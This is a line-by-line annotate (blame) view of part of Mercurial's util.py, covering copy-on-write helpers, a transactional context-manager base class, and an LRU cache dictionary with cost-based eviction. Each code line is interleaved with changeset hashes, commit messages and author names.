parents:
34295
diff
changeset
|
1278 >>> a is a.preparewrite() |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1279 True |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1280 >>> b = a.copy() |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1281 >>> b is a |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1282 True |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1283 >>> c = b.copy() |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1284 >>> c is a |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1285 True |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1286 >>> a = a.preparewrite() |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1287 >>> b is a |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1288 False |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1289 >>> a is a.preparewrite() |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1290 True |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1291 >>> c = c.preparewrite() |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1292 >>> b is c |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1293 False |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1294 >>> b is b.preparewrite() |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1295 True |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1296 """ |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1297 |
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Augie Fackler <augie@google.com>
parents:
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changeset
|
1298 |
34357
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Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1299 class cowsortdict(cow, sortdict): |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1300 """copy-on-write sortdict |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1301 |
c41444a39de2
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Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1302 Be sure to call d = d.preparewrite() before writing to d. |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1303 """ |
c41444a39de2
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Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1304 |
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diff
changeset
|
1305 |
33793
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Martin von Zweigbergk <martinvonz@google.com>
parents:
33737
diff
changeset
|
1306 class transactional(object): |
bbbbd3c30bfc
util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents:
33737
diff
changeset
|
1307 """Base class for making a transactional type into a context manager.""" |
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changeset
|
1308 |
33793
bbbbd3c30bfc
util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents:
33737
diff
changeset
|
1309 __metaclass__ = abc.ABCMeta |
bbbbd3c30bfc
util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents:
33737
diff
changeset
|
1310 |
bbbbd3c30bfc
util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents:
33737
diff
changeset
|
1311 @abc.abstractmethod |
bbbbd3c30bfc
util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents:
33737
diff
changeset
|
1312 def close(self): |
bbbbd3c30bfc
util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents:
33737
diff
changeset
|
1313 """Successfully closes the transaction.""" |
bbbbd3c30bfc
util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents:
33737
diff
changeset
|
1314 |
bbbbd3c30bfc
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Martin von Zweigbergk <martinvonz@google.com>
parents:
33737
diff
changeset
|
1315 @abc.abstractmethod |
bbbbd3c30bfc
util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents:
33737
diff
changeset
|
1316 def release(self): |
bbbbd3c30bfc
util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents:
33737
diff
changeset
|
1317 """Marks the end of the transaction. |
bbbbd3c30bfc
util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents:
33737
diff
changeset
|
1318 |
bbbbd3c30bfc
util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents:
33737
diff
changeset
|
1319 If the transaction has not been closed, it will be aborted. |
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1320 """ |
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1321 |
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1322 def __enter__(self): |
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1323 return self |
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1324 |
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1325 def __exit__(self, exc_type, exc_val, exc_tb): |
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1326 try: |
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1327 if exc_type is None: |
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1328 self.close() |
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1329 finally: |
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|
1330 self.release() |
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1331 |
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1332 |
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1333 @contextlib.contextmanager |
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1334 def acceptintervention(tr=None): |
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1335 """A context manager that closes the transaction on InterventionRequired |
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1336 |
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|
1337 If no transaction was provided, this simply runs the body and returns |
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1338 """ |
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1339 if not tr: |
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1340 yield |
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1341 return |
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1342 try: |
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1343 yield |
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1344 tr.close() |
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|
1345 except error.InterventionRequired: |
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1346 tr.close() |
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1347 raise |
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1348 finally: |
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1349 tr.release() |
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1350 |
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1351 |
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1352 @contextlib.contextmanager |
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1353 def nullcontextmanager(): |
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1354 yield |
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1355 |
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1356 |
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1357 class _lrucachenode(object): |
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1358 """A node in a doubly linked list. |
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1359 |
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1360 Holds a reference to nodes on either side as well as a key-value |
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1361 pair for the dictionary entry. |
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1362 """ |
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1363 |
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1364 __slots__ = (r'next', r'prev', r'key', r'value', r'cost') |
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1365 |
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1366 def __init__(self): |
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1367 self.next = None |
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1368 self.prev = None |
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1369 |
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1370 self.key = _notset |
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1371 self.value = None |
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1372 self.cost = 0 |
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1373 |
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1374 def markempty(self): |
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1375 """Mark the node as emptied.""" |
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1376 self.key = _notset |
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1377 self.value = None |
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1378 self.cost = 0 |
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1379 |
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1380 |
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1381 class lrucachedict(object): |
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1382 """Dict that caches most recent accesses and sets. |
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1383 |
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1384 The dict consists of an actual backing dict - indexed by original |
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1385 key - and a doubly linked circular list defining the order of entries in |
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1386 the cache. |
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1387 |
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1388 The head node is the newest entry in the cache. If the cache is full, |
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1389 we recycle head.prev and make it the new head. Cache accesses result in |
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1390 the node being moved to before the existing head and being marked as the |
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1391 new head node. |
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1392 |
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1393 Items in the cache can be inserted with an optional "cost" value. This is |
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1394 simply an integer that is specified by the caller. The cache can be queried |
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1395 for the total cost of all items presently in the cache. |
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1396 |
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1397 The cache can also define a maximum cost. If a cache insertion would |
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1398 cause the total cost of the cache to go beyond the maximum cost limit, |
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1399 nodes will be evicted to make room for the new code. This can be used |
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1400 to e.g. set a max memory limit and associate an estimated bytes size |
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1401 cost to each item in the cache. By default, no maximum cost is enforced. |
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1402 """ |
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1403 |
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1404 def __init__(self, max, maxcost=0): |
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1405 self._cache = {} |
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1406 |
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1407 self._head = head = _lrucachenode() |
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1408 head.prev = head |
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1409 head.next = head |
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1410 self._size = 1 |
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1411 self.capacity = max |
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1412 self.totalcost = 0 |
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1413 self.maxcost = maxcost |
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1414 |
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1415 def __len__(self): |
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1416 return len(self._cache) |
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1417 |
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1418 def __contains__(self, k): |
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1419 return k in self._cache |
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1420 |
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1421 def __iter__(self): |
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1422 # We don't have to iterate in cache order, but why not. |
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1423 n = self._head |
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1424 for i in range(len(self._cache)): |
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1425 yield n.key |
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1426 n = n.next |
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1427 |
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1428 def __getitem__(self, k): |
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1429 node = self._cache[k] |
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1430 self._movetohead(node) |
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1431 return node.value |
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1432 |
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1433 def insert(self, k, v, cost=0): |
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1434 """Insert a new item in the cache with optional cost value.""" |
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1435 node = self._cache.get(k) |
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1436 # Replace existing value and mark as newest. |
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1437 if node is not None: |
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util: allow lrucachedict to track cost of entries
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39566
diff
changeset
|
1438 self.totalcost -= node.cost |
27371
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util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1439 node.value = v |
39567
ee087f0d7db5
util: allow lrucachedict to track cost of entries
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39566
diff
changeset
|
1440 node.cost = cost |
ee087f0d7db5
util: allow lrucachedict to track cost of entries
Gregory Szorc <gregory.szorc@gmail.com>
parents:
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diff
changeset
|
1441 self.totalcost += cost |
27371
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util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1442 self._movetohead(node) |
39568
842cd0bdda75
util: teach lrucachedict to enforce a max total cost
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39567
diff
changeset
|
1443 |
842cd0bdda75
util: teach lrucachedict to enforce a max total cost
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diff
changeset
|
1444 if self.maxcost: |
842cd0bdda75
util: teach lrucachedict to enforce a max total cost
Gregory Szorc <gregory.szorc@gmail.com>
parents:
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diff
changeset
|
1445 self._enforcecostlimit() |
842cd0bdda75
util: teach lrucachedict to enforce a max total cost
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parents:
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diff
changeset
|
1446 |
27371
45d996a566d7
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diff
changeset
|
1447 return |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1448 |
39564
5d75a3c16193
util: make capacity a public attribute on lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39563
diff
changeset
|
1449 if self._size < self.capacity: |
27371
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1450 node = self._addcapacity() |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
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diff
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|
1451 else: |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
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diff
changeset
|
1452 # Grab the last/oldest item. |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
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27363
diff
changeset
|
1453 node = self._head.prev |
18603
2251b3184e6e
util: add an LRU cache dict
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18537
diff
changeset
|
1454 |
27371
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1455 # At capacity. Kill the old entry. |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
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diff
changeset
|
1456 if node.key is not _notset: |
39567
ee087f0d7db5
util: allow lrucachedict to track cost of entries
Gregory Szorc <gregory.szorc@gmail.com>
parents:
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diff
changeset
|
1457 self.totalcost -= node.cost |
27371
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util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
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27363
diff
changeset
|
1458 del self._cache[node.key] |
45d996a566d7
util: reimplement lrucachedict
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diff
changeset
|
1459 |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1460 node.key = k |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
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diff
changeset
|
1461 node.value = v |
39567
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util: allow lrucachedict to track cost of entries
Gregory Szorc <gregory.szorc@gmail.com>
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diff
changeset
|
1462 node.cost = cost |
ee087f0d7db5
util: allow lrucachedict to track cost of entries
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diff
changeset
|
1463 self.totalcost += cost |
27371
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util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
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diff
changeset
|
1464 self._cache[k] = node |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
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diff
changeset
|
1465 # And mark it as newest entry. No need to adjust order since it |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
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diff
changeset
|
1466 # is already self._head.prev. |
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util: reimplement lrucachedict
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diff
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|
1467 self._head = node |
18603
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diff
changeset
|
1468 |
39568
842cd0bdda75
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Gregory Szorc <gregory.szorc@gmail.com>
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diff
changeset
|
1469 if self.maxcost: |
842cd0bdda75
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diff
changeset
|
1470 self._enforcecostlimit() |
842cd0bdda75
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diff
changeset
|
1471 |
39567
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util: allow lrucachedict to track cost of entries
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diff
changeset
|
1472 def __setitem__(self, k, v): |
ee087f0d7db5
util: allow lrucachedict to track cost of entries
Gregory Szorc <gregory.szorc@gmail.com>
parents:
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diff
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|
1473 self.insert(k, v) |
ee087f0d7db5
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diff
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|
1474 |
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Gregory Szorc <gregory.szorc@gmail.com>
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diff
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|
1475 def __delitem__(self, k): |
40880
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util: implement pop() on lrucachedict
Yuya Nishihara <yuya@tcha.org>
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diff
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|
1476 self.pop(k) |
7cda0cacbbf6
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diff
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|
1477 |
7cda0cacbbf6
util: implement pop() on lrucachedict
Yuya Nishihara <yuya@tcha.org>
parents:
40879
diff
changeset
|
1478 def pop(self, k, default=_notset): |
7cda0cacbbf6
util: implement pop() on lrucachedict
Yuya Nishihara <yuya@tcha.org>
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40879
diff
changeset
|
1479 try: |
7cda0cacbbf6
util: implement pop() on lrucachedict
Yuya Nishihara <yuya@tcha.org>
parents:
40879
diff
changeset
|
1480 node = self._cache.pop(k) |
7cda0cacbbf6
util: implement pop() on lrucachedict
Yuya Nishihara <yuya@tcha.org>
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diff
changeset
|
1481 except KeyError: |
7cda0cacbbf6
util: implement pop() on lrucachedict
Yuya Nishihara <yuya@tcha.org>
parents:
40879
diff
changeset
|
1482 if default is _notset: |
7cda0cacbbf6
util: implement pop() on lrucachedict
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40879
diff
changeset
|
1483 raise |
7cda0cacbbf6
util: implement pop() on lrucachedict
Yuya Nishihara <yuya@tcha.org>
parents:
40879
diff
changeset
|
1484 return default |
7cda0cacbbf6
util: implement pop() on lrucachedict
Yuya Nishihara <yuya@tcha.org>
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40879
diff
changeset
|
1485 value = node.value |
39567
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Gregory Szorc <gregory.szorc@gmail.com>
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diff
changeset
|
1486 self.totalcost -= node.cost |
27371
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diff
changeset
|
1487 node.markempty() |
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diff
changeset
|
1488 |
45d996a566d7
util: reimplement lrucachedict
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parents:
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diff
changeset
|
1489 # Temporarily mark as newest item before re-adjusting head to make |
45d996a566d7
util: reimplement lrucachedict
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parents:
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diff
changeset
|
1490 # this node the oldest item. |
45d996a566d7
util: reimplement lrucachedict
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diff
changeset
|
1491 self._movetohead(node) |
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diff
changeset
|
1492 self._head = node.next |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
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diff
changeset
|
1493 |
40880
7cda0cacbbf6
util: implement pop() on lrucachedict
Yuya Nishihara <yuya@tcha.org>
parents:
40879
diff
changeset
|
1494 return value |
7cda0cacbbf6
util: implement pop() on lrucachedict
Yuya Nishihara <yuya@tcha.org>
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40879
diff
changeset
|
1495 |
27371
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diff
changeset
|
1496 # Additional dict methods. |
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diff
changeset
|
1497 |
45d996a566d7
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27363
diff
changeset
|
1498 def get(self, k, default=None): |
45d996a566d7
util: reimplement lrucachedict
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diff
changeset
|
1499 try: |
39571
8f2c0d1b454c
util: update lrucachedict order during get()
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39570
diff
changeset
|
1500 return self.__getitem__(k) |
27371
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diff
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|
1501 except KeyError: |
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Gregory Szorc <gregory.szorc@gmail.com>
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diff
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|
1502 return default |
18603
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Siddharth Agarwal <sid0@fb.com>
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diff
changeset
|
1503 |
40879
0c638ff69f5c
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Yuya Nishihara <yuya@tcha.org>
parents:
40689
diff
changeset
|
1504 def peek(self, k, default=_notset): |
0c638ff69f5c
util: add method to peek item in lrucachedict
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40689
diff
changeset
|
1505 """Get the specified item without moving it to the head |
0c638ff69f5c
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40689
diff
changeset
|
1506 |
0c638ff69f5c
util: add method to peek item in lrucachedict
Yuya Nishihara <yuya@tcha.org>
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40689
diff
changeset
|
1507 Unlike get(), this doesn't mutate the internal state. But be aware |
0c638ff69f5c
util: add method to peek item in lrucachedict
Yuya Nishihara <yuya@tcha.org>
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40689
diff
changeset
|
1508 that it doesn't mean peek() is thread safe. |
0c638ff69f5c
util: add method to peek item in lrucachedict
Yuya Nishihara <yuya@tcha.org>
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40689
diff
changeset
|
1509 """ |
0c638ff69f5c
util: add method to peek item in lrucachedict
Yuya Nishihara <yuya@tcha.org>
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40689
diff
changeset
|
1510 try: |
0c638ff69f5c
util: add method to peek item in lrucachedict
Yuya Nishihara <yuya@tcha.org>
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40689
diff
changeset
|
1511 node = self._cache[k] |
0c638ff69f5c
util: add method to peek item in lrucachedict
Yuya Nishihara <yuya@tcha.org>
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40689
diff
changeset
|
1512 return node.value |
0c638ff69f5c
util: add method to peek item in lrucachedict
Yuya Nishihara <yuya@tcha.org>
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40689
diff
changeset
|
1513 except KeyError: |
0c638ff69f5c
util: add method to peek item in lrucachedict
Yuya Nishihara <yuya@tcha.org>
parents:
40689
diff
changeset
|
1514 if default is _notset: |
0c638ff69f5c
util: add method to peek item in lrucachedict
Yuya Nishihara <yuya@tcha.org>
parents:
40689
diff
changeset
|
1515 raise |
0c638ff69f5c
util: add method to peek item in lrucachedict
Yuya Nishihara <yuya@tcha.org>
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40689
diff
changeset
|
1516 return default |
0c638ff69f5c
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diff
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|
1517 |
19710
887ffa22fd0d
lrucachedict: implement clear()
Siddharth Agarwal <sid0@fb.com>
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19461
diff
changeset
|
1518 def clear(self): |
27371
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diff
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|
1519 n = self._head |
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diff
changeset
|
1520 while n.key is not _notset: |
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diff
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|
1521 self.totalcost -= n.cost |
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diff
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|
1522 n.markempty() |
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diff
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|
1523 n = n.next |
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diff
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|
1524 |
19710
887ffa22fd0d
lrucachedict: implement clear()
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diff
changeset
|
1525 self._cache.clear() |
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diff
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|
1526 |
39568
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diff
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|
1527 def copy(self, capacity=None, maxcost=0): |
39565
2dcc68c7d25b
util: ability to change capacity when copying lrucachedict
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diff
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|
1528 """Create a new cache as a copy of the current one. |
2dcc68c7d25b
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|
1529 |
2dcc68c7d25b
util: ability to change capacity when copying lrucachedict
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diff
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|
1530 By default, the new cache has the same capacity as the existing one. |
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|
1531 But, the cache capacity can be changed as part of performing the |
2dcc68c7d25b
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diff
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|
1532 copy. |
2dcc68c7d25b
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diff
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|
1533 |
2dcc68c7d25b
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diff
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|
1534 Items in the copy have an insertion/access order matching this |
2dcc68c7d25b
util: ability to change capacity when copying lrucachedict
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diff
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|
1535 instance. |
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diff
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|
1536 """ |
2dcc68c7d25b
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|
1537 |
2dcc68c7d25b
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diff
changeset
|
1538 capacity = capacity or self.capacity |
39568
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diff
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|
1539 maxcost = maxcost or self.maxcost |
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diff
changeset
|
1540 result = lrucachedict(capacity, maxcost=maxcost) |
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diff
changeset
|
1541 |
b31b01f93b11
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diff
changeset
|
1542 # We copy entries by iterating in oldest-to-newest order so the copy |
b31b01f93b11
util: properly copy lrucachedict instances
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diff
changeset
|
1543 # has the correct ordering. |
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diff
changeset
|
1544 |
b31b01f93b11
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diff
changeset
|
1545 # Find the first non-empty entry. |
27576
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changeset
|
1546 n = self._head.prev |
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diff
changeset
|
1547 while n.key is _notset and n is not self._head: |
b31b01f93b11
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diff
changeset
|
1548 n = n.prev |
b31b01f93b11
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diff
changeset
|
1549 |
39565
2dcc68c7d25b
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diff
changeset
|
1550 # We could potentially skip the first N items when decreasing capacity. |
2dcc68c7d25b
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diff
changeset
|
1551 # But let's keep it simple unless it is a performance problem. |
27576
6cd3044985c2
lrucachedict: add copy method
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diff
changeset
|
1552 for i in range(len(self._cache)): |
39567
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diff
changeset
|
1553 result.insert(n.key, n.value, cost=n.cost) |
27576
6cd3044985c2
lrucachedict: add copy method
Eric Sumner <ericsumner@fb.com>
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diff
changeset
|
1554 n = n.prev |
39563
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util: properly copy lrucachedict instances
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diff
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|
1555 |
27576
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diff
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|
1556 return result |
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27391
diff
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|
1557 |
39566
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diff
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|
1558 def popoldest(self): |
bd9d3a89f07b
util: add a popoldest() method to lrucachedict
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parents:
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diff
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|
1559 """Remove the oldest item from the cache. |
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parents:
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diff
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|
1560 |
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parents:
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diff
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|
1561 Returns the (key, value) describing the removed cache entry. |
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util: add a popoldest() method to lrucachedict
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parents:
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diff
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|
1562 """ |
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parents:
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diff
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|
1563 if not self._cache: |
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util: add a popoldest() method to lrucachedict
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parents:
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diff
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|
1564 return |
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diff
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|
1565 |
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parents:
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diff
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|
1566 # Walk the linked list backwards starting at tail node until we hit |
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parents:
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|
1567 # a non-empty node. |
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|
1568 n = self._head.prev |
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diff
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|
1569 while n.key is _notset: |
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parents:
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diff
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|
1570 n = n.prev |
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diff
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|
1571 |
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diff
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|
1572 key, value = n.key, n.value |
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parents:
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diff
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|
1573 |
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diff
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|
1574 # And remove it from the cache and mark it as empty. |
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|
1575 del self._cache[n.key] |
39567
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util: allow lrucachedict to track cost of entries
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|
1576 self.totalcost -= n.cost |
39566
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parents:
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diff
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|
1577 n.markempty() |
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|
1578 |
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|
1579 return key, value |
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parents:
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diff
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|
1580 |
27371
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|
1581 def _movetohead(self, node): |
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parents:
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|
1582 """Mark a node as the newest, making it the new head. |
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|
1583 |
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|
1584 When a node is accessed, it becomes the freshest entry in the LRU |
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|
1585 list, which is denoted by self._head. |
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|
1586 |
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|
1587 Visually, let's make ``N`` the new head node (* denotes head): |
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|
1588 |
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|
1589 previous/oldest <-> head <-> next/next newest |
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|
1590 |
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|
1591 ----<->--- A* ---<->----- |
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|
1592 | | |
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|
1593 E <-> D <-> N <-> C <-> B |
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|
1594 |
45d996a566d7
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|
1595 To: |
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|
1596 |
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|
1597 ----<->--- N* ---<->----- |
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|
1598 | | |
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1599 E <-> D <-> C <-> B <-> A |
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|
1600 |
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|
1601 This requires the following moves: |
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|
1602 |
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|
1603 C.next = D (node.prev.next = node.next) |
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1604 D.prev = C (node.next.prev = node.prev) |
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1605 E.next = N (head.prev.next = node) |
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1606 N.prev = E (node.prev = head.prev) |
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1607 N.next = A (node.next = head) |
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1608 A.prev = N (head.prev = node) |
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|
1609 """ |
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|
1610 head = self._head |
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|
1611 # C.next = D |
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|
1612 node.prev.next = node.next |
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1613 # D.prev = C |
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1614 node.next.prev = node.prev |
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1615 # N.prev = E |
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1616 node.prev = head.prev |
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1617 # N.next = A |
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|
1618 # It is tempting to do just "head" here, however if node is |
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1619 # adjacent to head, this will do bad things. |
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1620 node.next = head.prev.next |
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|
1621 # E.next = N |
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1622 node.next.prev = node |
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|
1623 # A.prev = N |
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1624 node.prev.next = node |
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|
1625 |
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|
1626 self._head = node |
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|
1627 |
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|
1628 def _addcapacity(self): |
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|
1629 """Add a node to the circular linked list. |
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|
1630 |
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1631 The new node is inserted before the head node. |
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|
1632 """ |
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|
1633 head = self._head |
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|
1634 node = _lrucachenode() |
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|
1635 head.prev.next = node |
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|
1636 node.prev = head.prev |
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|
1637 node.next = head |
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|
1638 head.prev = node |
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|
1639 self._size += 1 |
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|
1640 return node |
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diff
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|
1641 |
39568
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|
1642 def _enforcecostlimit(self): |
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|
1643 # This should run after an insertion. It should only be called if total |
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|
1644 # cost limits are being enforced. |
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|
1645 # The most recently inserted node is never evicted. |
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|
1646 if len(self) <= 1 or self.totalcost <= self.maxcost: |
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|
1647 return |
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|
1648 |
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1649 # This is logically equivalent to calling popoldest() until we |
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|
1650 # free up enough cost. We don't do that since popoldest() needs |
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1651 # to walk the linked list and doing this in a loop would be |
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1652 # quadratic. So we find the first non-empty node and then |
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|
1653 # walk nodes until we free up enough capacity. |
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|
1654 # |
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1655 # If we only removed the minimum number of nodes to free enough |
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|
1656 # cost at insert time, chances are high that the next insert would |
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|
1657 # also require pruning. This would effectively constitute quadratic |
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|
1658 # behavior for insert-heavy workloads. To mitigate this, we set a |
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|
1659 # target cost that is a percentage of the max cost. This will tend |
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|
1660 # to free more nodes when the high water mark is reached, which |
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|
1661 # lowers the chances of needing to prune on the subsequent insert. |
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|
1662 targetcost = int(self.maxcost * 0.75) |
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1663 |
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|
1664 n = self._head.prev |
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|
1665 while n.key is _notset: |
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1666 n = n.prev |
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|
1667 |
39570
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|
1668 while len(self) > 1 and self.totalcost > targetcost: |
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|
1669 del self._cache[n.key] |
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|
1670 self.totalcost -= n.cost |
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|
1671 n.markempty() |
cc23c09bc562
util: optimize cost auditing on insert
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39568
diff
changeset
|
1672 n = n.prev |
39568
842cd0bdda75
util: teach lrucachedict to enforce a max total cost
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39567
diff
changeset
|
1673 |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
1674 |
9097
431462bd8478
fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents:
9089
diff
changeset
|
1675 def lrucachefunc(func): |
431462bd8478
fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents:
9089
diff
changeset
|
1676 '''cache most recent results of function calls''' |
431462bd8478
fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents:
9089
diff
changeset
|
1677 cache = {} |
25113
0ca8410ea345
util: drop alias for collections.deque
Martin von Zweigbergk <martinvonz@google.com>
parents:
25112
diff
changeset
|
1678 order = collections.deque() |
28832
f5ff10f6fa6b
util: use __code__ (available since py2.6)
timeless <timeless@mozdev.org>
parents:
28826
diff
changeset
|
1679 if func.__code__.co_argcount == 1: |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
1680 |
9097
431462bd8478
fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents:
9089
diff
changeset
|
1681 def f(arg): |
431462bd8478
fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents:
9089
diff
changeset
|
1682 if arg not in cache: |
431462bd8478
fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents:
9089
diff
changeset
|
1683 if len(cache) > 20: |
16803
107a3270a24a
cleanup: use the deque type where appropriate
Bryan O'Sullivan <bryano@fb.com>
parents:
16769
diff
changeset
|
1684 del cache[order.popleft()] |
9097
431462bd8478
fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents:
9089
diff
changeset
|
1685 cache[arg] = func(arg) |
431462bd8478
fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents:
9089
diff
changeset
|
1686 else: |
431462bd8478
fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents:
9089
diff
changeset
|
1687 order.remove(arg) |
431462bd8478
fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents:
9089
diff
changeset
|
1688 order.append(arg) |
431462bd8478
fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents:
9089
diff
changeset
|
1689 return cache[arg] |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
1690 |
9097
431462bd8478
fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents:
9089
diff
changeset
|
1691 else: |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
1692 |
9097
431462bd8478
fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents:
9089
diff
changeset
|
1693 def f(*args): |
431462bd8478
fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents:
9089
diff
changeset
|
1694 if args not in cache: |
431462bd8478
fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents:
9089
diff
changeset
|
1695 if len(cache) > 20: |
16803
107a3270a24a
cleanup: use the deque type where appropriate
Bryan O'Sullivan <bryano@fb.com>
parents:
16769
diff
changeset
|
1696 del cache[order.popleft()] |
9097
431462bd8478
fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents:
9089
diff
changeset
|
1697 cache[args] = func(*args) |
431462bd8478
fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents:
9089
diff
changeset
|
1698 else: |
431462bd8478
fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents:
9089
diff
changeset
|
1699 order.remove(args) |
431462bd8478
fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents:
9089
diff
changeset
|
1700 order.append(args) |
431462bd8478
fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents:
9089
diff
changeset
|
1701 return cache[args] |
431462bd8478
fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents:
9089
diff
changeset
|
1702 |
431462bd8478
fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents:
9089
diff
